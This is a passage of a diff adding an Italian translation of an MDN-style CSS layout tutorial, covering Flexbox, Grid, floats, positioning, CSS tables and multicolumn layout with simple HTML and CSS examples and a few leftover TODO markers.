+<p>{{ EmbedLiveSample('Flex_1', '300', '200') }}</p>
+
+<p>Oltre alle suddette proprietà applicabili al contenitore flex, esistono anche proprietà che possono essere impostate sui componenti figlio. Tra le altre cose, queste proprietà possono cambiare il modo in cui i componenti si flettono, facendoli espandere o contrarre per adattarsi allo spazio disponibile.</p>
+
+<p>È possibile, per esempio, aggiungere la proprietà {{cssxref("flex")}} a tutti i componenti figlio, con valore <code>1</code>. Questo fa sì che tutti i componenti aumentino in dimensione sino a riempire il contenitore, invece di lasciare dello spazio vuoto alla fine. Se lo spazio aumenta, i componenti si allargano. Se lo spazio diminuisce, si contraggono. Inoltre, se viene aggiunto un nuovo elemento al markup, tutti i componenti diminuiscono la propria dimensione per far spazio al nuovo inserimento continuando a riempire la medesima area, qualsiasi essa sia.</p>
+
+<div id="Flex_2">
+<div class="hidden">
+<h6 id="Flexbox_Example_2">Flexbox Example 2</h6>
+
+<pre class="brush: css notranslate">    * {box-sizing: border-box;}
+
+    .wrapper &gt; div {
+        border-radius: 5px;
+        background-color: rgb(207,232,220);
+        padding: 1em;
+    }
+    </pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+    display: flex;
+}
+
+.wrapper &gt; div {
+    flex: 1;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+    &lt;div class="box1"&gt;Uno&lt;/div&gt;
+    &lt;div class="box2"&gt;Due&lt;/div&gt;
+    &lt;div class="box3"&gt;Tre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Flex_2', '300', '200') }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Questa è solo una breve introduzione alle possibilità di Flexbox. Per approfondire l'argomento vai all'articolo <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>.</p>
+</div>
+
+<h2 id="Griglia_layout">Griglia layout</h2>
+
+<p>Mentre Flexbox è stato progettato per il layout monodimensionale, la Griglia layout è stata progettata per essere bidimensionale, cioè per disporre gli elementi in righe e colonne.</p>
+
+<p>Per passare alla modalità Griglia layout occorre innanzitutto impostare un valore di display specifico, <code>display: grid</code>. L'esempio seguente usa un markup simile a quello visto negli esempi di flex: presenta un contenitore e alcuni elementi figlio. Oltre a usare <code>display: grid</code>, definiamo anche una regola per righe e colonne nell'elemento padre utilizzando rispettivamente le proprietà {{cssxref("grid-template-rows")}} e {{cssxref("grid-template-columns")}}. Definiamo tre colonne di <code>1fr</code> ciascuna e due righe di <code>100px</code>. Non occorre specificare alcuna regola per gli elementi figlio, che verranno inseriti nelle celle create dalla nostra griglia in maniera automatica.</p>
+
+<div id="Grid_1">
+<div class="hidden">
+<h6 id="Grid_example_1">Grid example 1</h6>
+
+<pre class="brush: css notranslate">    * {box-sizing: border-box;}
+
+    .wrapper &gt; div {
+        border-radius: 5px;
+        background-color: rgb(207,232,220);
+        padding: 1em;
+    }
+    </pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+    grid-template-rows: 100px 100px;
+    grid-gap: 10px;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+    &lt;div class="box1"&gt;Uno&lt;/div&gt;
+    &lt;div class="box2"&gt;Due&lt;/div&gt;
+    &lt;div class="box3"&gt;Tre&lt;/div&gt;
+    &lt;div class="box4"&gt;Quattro&lt;/div&gt;
+    &lt;div class="box5"&gt;Cinque&lt;/div&gt;
+    &lt;div class="box6"&gt;Sei&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_1', '300', '330') }}</p>
+
+<p>Una volta impostata la griglia, è possibile posizionarvi all'interno i componenti in maniera esplicita invece di affidarsi all'impostazione automatica come nell'esempio precedente. Nel secondo esempio qui sotto viene definita la stessa griglia, ma in questo caso definiamo delle regole anche per i componenti figlio. La linea iniziale e quella finale di ogni componente vengono impostate nelle proprietà {{cssxref("grid-column")}} e {{cssxref("grid-row")}}. Questo fa sì che i componenti seguano tracciati diversi.</p>
+
+<div id="Grid_2">
+<div class="hidden">
+<h6 id="Grid_example_2">Grid example 2</h6>
+
+<pre class="brush: css notranslate">    * {box-sizing: border-box;}
+
+    .wrapper &gt; div {
+        border-radius: 5px;
+        background-color: rgb(207,232,220);
+        padding: 1em;
+    }
+    </pre>
+</div>
+
+<pre class="brush: css notranslate">.wrapper {
+    display: grid;
+    grid-template-columns: 1fr 1fr 1fr;
+    grid-template-rows: 100px 100px;
+    grid-gap: 10px;
+}
+
+.box1 {
+    grid-column: 2 / 4;
+    grid-row: 1;
+}
+
+.box2 {
+    grid-column: 1;
+    grid-row: 1 / 3;
+}
+
+.box3 {
+    grid-row: 2;
+    grid-column: 3;
+}
+</pre>
+
+<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
+    &lt;div class="box1"&gt;Uno&lt;/div&gt;
+    &lt;div class="box2"&gt;Due&lt;/div&gt;
+    &lt;div class="box3"&gt;Tre&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Grid_2', '300', '330') }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Questi due esempi dimostrano solo una piccola parte delle potenzialità della Griglia layout; per scoprirne altre vedi l'articolo Griglia layout [<a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid Layout</a>].</p>
+</div>
+
+<p>La parte restante di questa guida tratta di altri metodi di strutturazione, meno rilevanti per l'impostazione del layout principale della pagina, ma utili per operazioni specifiche. Una volta compresa la funzione di ogni sezione, risulterà chiaro quale sia il metodo più adatto per strutturare ciascun componente del layout.</p>
+
+<h2 id="Elementi_float">Elementi float</h2>
+
+<p>Configurando un elemento in float cambiamo il suo comportamento e quello degli elementi che gli succedono nel flusso normale. L'elemento viene spostato a sinistra o a destra e isolato dal flusso normale, il contenuto circostante scorre intorno a questo elemento.</p>
+
+<p>La proprietà {{cssxref("float")}} ha quattro possibili valori:</p>
+
+<ul>
+ <li><code>left</code>: sposta l'elemento a sinistra.</li>
+ <li><code>right</code>: sposta l'elemento a destra.</li>
+ <li><code>none</code>: non causa alcuno spostamento ed è il valore predefinito.</li>
+ <li><code>inherit</code>: "eredita" il valore della proprietà <code>float</code> dall'elemento padre.</li>
+</ul>
+
+<p>Nel seguente esempio, un elemento <code>&lt;div&gt;</code> viene spostato a sinistra e il suo {{cssxref("margin")}} impostato a destra per creare uno spazio tra il testo e l'elemento. In questo modo, il corpo del testo fluisce intorno al box. Questo è tutto ciò che ci occorre conoscere nel web design moderno a proposito degli elementi float.</p>
+
+<div id="Float_1">
+<div class="hidden">
+<h6 id="Floats_example">Floats example</h6>
+
+<pre class="brush: css notranslate">body {
+    width: 90%;
+    max-width: 900px;
+    margin: 0 auto;
+}
+
+p {
+    line-height: 2;
+    word-spacing: 0.1rem;
+}
+
+.box {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    border-radius: 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Esempio semplice di float&lt;/h1&gt;
+
+&lt;div class="box"&gt;Float&lt;/div&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+</pre>
+
+<pre class="brush: css notranslate">
+.box {
+    float: left;
+    width: 150px;
+    height: 150px;
+    margin-right: 30px;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Float_1', '100%', 600) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Gli elementi float vengono spiegati in maniera esauriente nell'articolo sulle proprietà <a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">float e clear</a>. Prima dell'esistenza di metodi come Flexbox e Griglia layout, gli elementi float venivano utilizzati anche come sistema per suddividere il layout in colonne. È tutt'ora possibile imbattersi in siti web che utilizzano questo sistema. Lo scopriremo nella lezione sui <a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">metodi di layout legacy</a>.</p>
+</div>
+
+<h2 id="Tecniche_di_posizionamento">Tecniche di posizionamento</h2>
+
+<p>Il posizionamento permette di spostare un elemento dalla posizione che assumerebbe nel flusso normale a una nuova posizione. Il posizionamento non è un indicato per creare il layout di un'intera pagina, ma piuttosto per gestire e ritoccare la posizione di un componente specifico.</p>
+
+<p>Tuttavia, esistono tecniche utili per gestire alcuni modelli di layout basati sulla proprietà {{cssxref("position")}}. Comprendere la tecnica del posizionamento permette anche di capire cos'è il flusso normale e come estromettere un componente da esso.</p>
+
+<p>I tipi di posizionamento che ci serve conoscere sono cinque:</p>
+
+<ul>
+ <li><strong>Posizionamento statico</strong>: è il valore preimpostato sugli elementi e significa semplicemente "inserisci l'elemento nella posizione stabilita dal flusso di layout del documento, nessuna istruzione speciale".</li>
+ <li><strong>Posizionamento relativo</strong>: permette di cambiare la posizione dell'elemento e spostarlo in relazione al flusso normale, come anche di sovrapporlo ad altri elementi nella pagina.</li>
+ <li><strong>Posizionamento assoluto</strong>: l'elemento viene completamente isolato dal flusso normale della pagina, come se si trovasse su un livello separato. Da lì è possibile fissarne la posizione ai margini dell'elemento <code>&lt;html&gt;</code> (o del suo elemento contenitore più prossimo). Questa caratteristica è utile per produrre effetti sul layout come i box a scheda, organizzati come un certo numero di schede disposte una sopra l'altra e mostrate o nascoste a comando. Un altro esempio sono i box di notifica, posti inizialmente al di fuori dello schermo, ma che possono essere richiamati nell'area di visualizzazione usando un pulsante di controllo.</li>
+ <li><strong>Posizionamento fisso</strong>: assomiglia molto al posizionamento assoluto, con la differenza che àncora l'elemento in relazione all'area di visualizzazione del browser invece che a un altro elemento. Viene usato per creare effetti quali i menu di navigazione che mantengono sempre la stessa posizione sul monitor, anche quando il resto del contenuto scorre.</li>
+ <li><strong>Posizionamento adesivo</strong>: è un nuovo tipo di posizionamento per cui un elemento si comporta come se fosse impostato su <code>position: static</code> sino a quando non raggiunge un determinato margine dell'area di visualizzazione, a quel punto muta il suo comportamento in <code>position: fixed</code>.</li>
+</ul>
+
+<h3 id="Semplice_esempio_di_posizionamento">Semplice esempio di posizionamento</h3>
+
+<p>Per familiarizzare con queste tecniche di layout, vediamo un paio di semplici esempi basati sullo stesso codice HTML:</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posizionamento&lt;/h1&gt;
+
+&lt;p&gt;Elemento blocco essenziale.&lt;/p&gt;
+&lt;p class="positioned"&gt;Elemento blocco essenziale.&lt;/p&gt;
+&lt;p&gt;Elemento blocco essenziale.&lt;/p&gt;</pre>
+
+<p>Il seguente CSS mostra lo stile preimpostato dell'HTML:</p>
+
+<pre class="brush: css notranslate">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+</pre>
+
+<p>L'output mostrato è il seguente:</p>
+
+<p>{{ EmbedLiveSample('Simple_positioning_example', '100%', 300) }}</p>
+
+<h3 id="Posizionamento_relativo">Posizionamento relativo</h3>
+
+<p>Il posizionamento relativo permette di spostare un componente dalla posizione predefinita che occuperebbe nel flusso normale. Si potrebbe perciò realizzare lo spostamento di un'icona un po' più in basso per allinearla a un'etichetta testuale, aggiungendo la seguente istruzione:</p>
+
+<pre class="brush: css notranslate">.positioned {
+  position: relative;
+  top: 30px;
+  left: 30px;
+}</pre>
+
+<p>In questo caso, il secondo paragrafo ha un attributo {{cssxref("position")}} di valore <code>relative</code> che non produce alcun effetto di per sé. Quindi, aggiungiamo le proprietà {{cssxref("top")}} e {{cssxref("left")}}, che spostano l'elemento associato in basso e a destra. Questo passaggio potrebbe sembrare controintuitivo, ma basta figurarselo come se l'elemento subisse una spinta da sinistra e dall'alto che ne provocasse lo spostamento a destra e in basso.</p>
+
+<p>Aggiungendo questo codice, si ottiene il seguente risultato:</p>
+
+<div id="Relative_1">
+<div class="hidden">
+<h6 id="Relative_positioning_example">Relative positioning example</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posizionamento relativo&lt;/h1&gt;
+
+&lt;p&gt;Elemento blocco essenziale.&lt;/p&gt;
+&lt;p class="positioned"&gt;Elemento con posizionamento relativo&lt;/p&gt;
+&lt;p&gt;Elemento blocco essenziale.&lt;/p&gt;</pre>
+
+<pre class="brush: css notranslate">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.positioned {
+  position: relative;
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Relative_1', '100%', 300) }}</p>
+
+<h3 id="Posizionamento_assoluto">Posizionamento assoluto</h3>
+
+<p>Il posizionamento assoluto serve a rimuovere un elemento dal flusso normale e riposizionarlo stabilendo l'offset dai margini di un blocco contenitore.</p>
+
+<p>Riprendendo l'originale esempio senza posizionamento, implementiamo il posizionamento assoluto aggiungendo le seguenti regole CSS per:</p>
+
+<pre class="brush: css notranslate">.positioned {
+  position: absolute;
+  top: 30px;
+  left: 30px;
+}</pre>
+
+<p>In questo caso, assegniamo <code>absolute</code> alla proprietà {{cssxref("position")}} per il secondo paragrafo e manteniamo i valori attribuiti in precedenza alle proprietà {{cssxref("top")}} e {{cssxref("left")}}. Il codice però produce il risultato seguente.</p>
+
+<div id="Absolute_1">
+<div class="hidden">
+<h6 id="Absolute_positioning_example">Absolute positioning example</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posizionamento assoluto&lt;/h1&gt;
+
+&lt;p&gt;Elemento blocco essenziale.&lt;/p&gt;
+&lt;p class="positioned"&gt;Elemento con posizionamento assoluto.&lt;/p&gt;
+&lt;p&gt;Elemento blocco essenziale.&lt;/p&gt;</pre>
+
+<pre class="brush: css notranslate">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+    background-color: rgb(207,232,220);
+    border: 2px solid rgb(79,185,227);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}
+</pre>
+</div>
+
+<pre class="brush: css notranslate">.positioned {
+    position: absolute;
+    background: rgba(255,84,104,.3);
+    border: 2px solid rgb(255,84,104);
+    top: 30px;
+    left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Absolute_1', '100%', 300) }}</p>
+
+<p>La differenza si nota! L'elemento a cui viene assegnato il posizionamento è stato separato completamente dal resto del layout della pagina e allocato al di sopra di esso. Gli altri due paragrafi appaiono giustapposti e non influenzati dal primo, come se non esistesse affatto. Le proprietà {{cssxref("top")}} e {{cssxref("left")}} applicate all'elemento producono un effetto diverso a seconda del tipo di posizionamento, se assoluto oppure relativo. In questo caso, l'offset viene calcolato rispetto al lato superiore e sinistro della pagina. L'elemento padre che contiene l'elemento può essere modificato, come spiegato nella lezione dedicata al <a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">posizionamento</a>.</p>
+
+<h3 id="Posizionamento_fisso">Posizionamento fisso</h3>
+
+<p>Il posizionamento fisso estrae l'elemento a cui è applicato dal flusso del documento allo stesso modo del posizionamento assoluto. Tuttavia, gli offset vengono applicati in relazione all'area di visualizzazione, invece che in relazione al contenitore padre. Poiché il componente rimane fisso rispetto all'area di visualizzazione, siamo in grado di costruire componenti come un menu che rimane fisso mentre il resto della pagina scorre al livello sottostante.</p>
+
+<p>Nel prossimo esempio, l'HTML è composto da tre paragrafi testuali (in modo da permetterci di far scorrere la pagina) e da un box a cui viene assegnata la regola <code>position: fixed</code>.</p>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posizionamento fisso&lt;/h1&gt;
+
+&lt;div class="positioned"&gt;Fisso&lt;/div&gt;
+
+&lt;p&gt;Paragrafo 1.&lt;/p&gt;
+&lt;p&gt;Paragrafo 2.&lt;/p&gt;
+&lt;p&gt;Paragrafo 3.&lt;/p&gt;
+</pre>
+
+<div id="Fixed_1">
+<div class="hidden">
+<h6 id="Fixed_positioning_example">Fixed positioning example</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posizionamento fisso&lt;/h1&gt;
+
+&lt;div class="positioned"&gt;Fisso&lt;/div&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+</pre>
+
+<pre class="brush: css notranslate">body {
+    width: 500px;
+    margin: 0 auto;
+}
+
+.positioned {
+    background: rgba(255,84,104,.3);
+    border: 2px solid rgb(255,84,104);
+    padding: 10px;
+    margin: 10px;
+    border-radius: 5px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.positioned {
+    position: fixed;
+    top: 30px;
+    left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Fixed_1', '100%', 200) }}</p>
+
+<h3 id="Posizionamento_adesivo">Posizionamento adesivo</h3>
+
+<p>L'ultimo tipo di posizionamento a nostra disposizione è il posizionamento adesivo. Questo tipo unisce caratteristiche del tipo statico predefinito con quelle del tipo fisso. Un componente con regola <code>position: sticky</code> scorre come fosse nel flusso normale sino a quando non incontra i margini definiti dall'area di visualizzazione. In quel momento "aderisce", come se avesse mutato regola in <code>position: fixed</code>.</p>
+
+<div id="Sticky_1">
+<div class="hidden">
+<h6 id="Sticky_positioning_example">Sticky positioning example</h6>
+
+<pre class="brush: html notranslate">&lt;h1&gt;Posizionamento adesivo&lt;/h1&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+&lt;div class="positioned"&gt;Adesivo&lt;/div&gt;
+
+&lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+
+&lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;       </pre>
+
+<pre class="brush: css notranslate">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+.positioned {
+  background: rgba(255,84,104,.3);
+  border: 2px solid rgb(255,84,104);
+  padding: 10px;
+  margin: 10px;
+  border-radius: 5px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.positioned {
+  position: sticky;
+  top: 30px;
+  left: 30px;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Sticky_1', '100%', 200) }}</p>
+
+<div class="note">
+<p><strong>Nota</strong>: per saperne di più sul posizionamento, vedi l'articolo Posizionamento [<a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a>].</p>
+</div>
+
+<h2 id="Layout_con_tabelle">Layout con tabelle</h2>
+
+<p>La tabelle HTML sono appropriate per rendere i dati tabulari. Tuttavia, molti anni fa, prima che i vari browser supportassero i più elementari CSS in maniera affidabile, gli sviluppatori web utilizzavano le tabelle anche per costruire l'intero layout della pagina, inserendo intestazioni, piè pagina, contenuti ecc. nelle righe e colonne della tabella. Questo approccio funzionava, ma presentava molti problemi: i layout basati su tabella non erano reattivi, generavano un markup molto pesante, creavano difficoltà nel processo di debug e a livello semantico (ad esempio, non venivano correttamente interpretati dagli screen reader).</p>
+
+<p>Il modo in cui una tabella appare nella pagina web si deve a un'impostazione di proprietà CSS che ne definisce il layout. È possibile utilizzare queste proprietà anche per posizionare elementi diversi dalle tabelle. Talvolta, questo utilizzo viene definito come “tabelle CSS”.</p>
+
+<p>Di seguito viene mostrato un esempio di questo uso. Tuttavia, i layout realizzati con tabelle CSS dovrebbero ormai essere considerati un metodo legacy, riservato a situazioni in cui occorre garantire la compatibilità con browser datati, che non supportano Flexbox e Griglia.</p>
+
+<p>Diamo un'occhiata all'esempio. Innanzitutto vi sono alcuni semplici markup che generano il modulo HTML. Ogni elemento HTML ha un'etichetta, in più è presente un paragrafo contenente una didascalia. Tutti i campi di input accoppiati alle etichette vengono inseriti in {{htmlelement("div")}} al fine di produrre il layout.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;p&gt;Prima di tutto, dichiara il tuo nome e la tua età.&lt;/p&gt;
+  &lt;div&gt;
+    &lt;label for="fname"&gt;Nome:&lt;/label&gt;
+    &lt;input type="text" id="fname"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="lname"&gt;Cognome:&lt;/label&gt;
+    &lt;input type="text" id="lname"&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="age"&gt;Età:&lt;/label&gt;
+    &lt;input type="text" id="age"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Segue il CSS dell'esempio. Si tratta di un codice CSS piuttosto comune, fatta eccezione per l'impiego della proprietà {{cssxref("display")}}. Gli elementi {{htmlelement("form")}}, {{htmlelement("div")}}, {{htmlelement("label")}} e {{htmlelement("input")}} vengono rispettivamente impostati come una tabella, righe di tabella e celle di tabella. Operando fondamentalmente come il markup di una tabella in HTML, i campi input e le didascalie si allineano in maniera corretta. Rimane solo da regolare la dimensione, i margini ecc. per far apparire l'insieme più gradevole.</p>
+
+<p>Si noti che il paragrafo contenete la didascalia è stato impostato con la regola <code>display: table-caption</code>, che determina un comportamento simile a {{htmlelement("caption")}} all'interno di una tabella. Inoltre, per motivi estetici, ha l'attributo <code>caption-side: bottom;</code>. In questo modo, la didascalia viene visualizzata sotto al modulo, anche se nel codice sorgente è posizionata prima degli elementi <code>&lt;input&gt;</code>.</p>
+
+<p>Ciò consente una notevole flessibilità.</p>
+
+<pre class="brush: css notranslate">html {
+  font-family: sans-serif;
+}
+
+form {
+  display: table;
+  margin: 0 auto;
+}
+
+form div {
+  display: table-row;
+}
+
+form label, form input {
+  display: table-cell;
+  margin-bottom: 10px;
+}
+
+form label {
+  width: 200px;
+  padding-right: 5%;
+  text-align: right;
+}
+
+form input {
+  width: 300px;
+}
+
+form p {
+  display: table-caption;
+  caption-side: bottom;
+  width: 300px;
+  color: #999;
+  font-style: italic;
+}</pre>
+
+<p>Otteniamo il seguente risultato:</p>
+
+<p>{{ EmbedLiveSample('Table_layout', '100%', '170') }}</p>
+
+<p>Si veda anche l'esempio dal vivo <strong>[TODO]</strong> e il codice sorgente [<strong>TODO IT</strong> <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/box-model-recap/css-tables-example.html">source code</a>]</p>
+
+<p>You can also see this example live at <a href="https://mdn.github.io/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html">css-tables-example.html</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/box-model-recap/css-tables-example.html">source code</a> too.)</p>
+
+<h2 id="Layout_multicolonna">Layout multicolonna</h2>
+
+<p>Il modulo di layout multicolonna permette di strutturare il contenuto in colonne, in maniera simile al testo di un quotidiano cartaceo. Il layout a colonne non è una visualizzazione ottimale nei siti web, in quanto costringe chi legge a scorrere continuamente su e giù per la pagina. Tuttavia, in alcuni casi, suddividere il contenuto in colonne si rivela utile.</p>
+
+<p>Il blocco si può trasformare in un contenitore multicolonna grazie alla proprietà {{cssxref("column-count")}}, che indica al browser il numero di colonne desiderate, oppure alla proprietà {{cssxref("column-width")}}, che specifica la larghezza delle colonne (il loro numero viene automaticamente calcolato in base alla larghezza totale del contenitore).</p>
+
+<p>Nel seguente esempio, un elemento <code>&lt;div&gt;</code> con classe <code>container</code> contiene un blocco di codice HTML.</p>
+
+<pre class="brush: html notranslate">&lt;div class="container"&gt;
+    &lt;h1&gt;Layout multi-colonna&lt;/h1&gt;
+
+    &lt;p&gt;Paragrafo 1.&lt;/p&gt;
+    &lt;p&gt;Paragrafo 2.&lt;/p&gt;
+
+&lt;/div&gt;
+</pre>
+
+<p>La proprietà <code>column-width</code> con valore 200 pixel viene applicata a questo contenitore, indicando al browser di disporre tante colonne larghe 200 pixel quante sono necessarie per riempirne la larghezza. Lo spazio rimanente viene suddiviso tra le colonne, come spaziatura tra una e l'altra.</p>
+
+<div id="Multicol_1">
+<div class="hidden">
+<h6 id="Multicol_example">Multicol example</h6>
+
+<pre class="brush: html notranslate">    &lt;div class="container"&gt;
+        &lt;h1&gt;Layout multi-colonna&lt;/h1&gt;
+
+        &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+
+        &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+
+    &lt;/div&gt;
+        </pre>
+
+<pre class="brush: css notranslate">body { max-width: 800px; margin: 0 auto; } </pre>
+</div>
+
+<pre class="brush: css notranslate">    .container {
+        column-width: 200px;
+    }</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Multicol_1', '100%', 200) }}</p>
+
+<h2 id="Sommario">Sommario</h2>
+
